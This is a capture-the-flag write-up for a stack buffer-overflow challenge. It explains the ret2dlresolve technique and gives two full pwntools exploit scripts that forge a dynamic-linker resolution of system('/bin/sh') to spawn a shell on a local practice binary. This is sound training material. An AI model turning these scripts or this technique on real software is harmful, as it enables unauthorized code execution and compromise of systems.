Seal’s Pwn Zero2Hero Stack Challenges - Ret2dlresolve

1 minute read

This is the final challenge from Seal’s PWN Zero2Hero


The source was provided for this challenge.

6467034aeff9f4120b1554f23c1b416e.png

Vulnerability

The vulneability is a buffer overflow. The program reads in 0x1000 bytes which is more than the buffer max (0x20).

Exploitation

Running checksec on the binary shows that there isn’t PIE or a stack canary.

cc9b9baec4cea81a8d5ce19d6890fe93.png

We can’t do a regular Ret2libc because there isn’t a way to get a leak so we’ll do a ret2dlresolve (like the challenge name suggests). This will essentially make the program resolve system into the PLT instead of read and lead us to getting a shell.

All that’s left now is getting the offset for overwriting the return address, which is 40, and with that we can start developing our exploit. We’ll use pwntools to generate the payload. We’ll also be using pwntool’s ROP function to call the read function and run the exploit cleanly.

You can also make the read call using the pop rdi and pop rsi, pop r15 gadgets. Just make sure to set r15 to 0 and to add rop.ret2dlresolve(dlresolve) to the end of the payload. You can fully avoid using the ROP function by manually doing the Ret2dlresolve.

Solution

Both scripts will get you the flag. The first script uses pwntools ROP function to call read and the other script uses gadgets.

### Solve Script 1

from pwn import *

elf = context.binary = ELF("vuln", checksec=False)
gs = '''
'''
p = process(elf.path)
# p = gdb.debug(elf.path, gdbscript=gs)

# generate dlresolve payload
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop = ROP(elf)

offset = 40

rop.raw('A' * offset)
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)

p.sendline(rop.chain())
p.sendline(dlresolve.payload)

p.interactive()

Solve Script 2

from pwn import *

elf = context.binary = ELF("vuln", checksec=False)
gs = '''
'''
p = process(elf.path)
# p = gdb.debug(elf.path, gdbscript=gs)

# generate dlresolve payload
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop = ROP(elf)
rop.ret2dlresolve(dlresolve)

pop_rdi = 0x401243
pop_rsi_r15 = 0x401241

offset = 40

payload = b''
payload += b'A' * offset
payload += p64(pop_rdi)
payload += p64(0x0)
payload += p64(pop_rsi_r15)
payload += p64(dlresolve.data_addr)
payload += p64(0x0)
payload += p64(elf.sym.read)
payload += rop.chain()

p.sendline(payload)
p.sendline(dlresolve.payload)

p.interactive()

806f359e1a8c243af678e7621fbdb8b2.png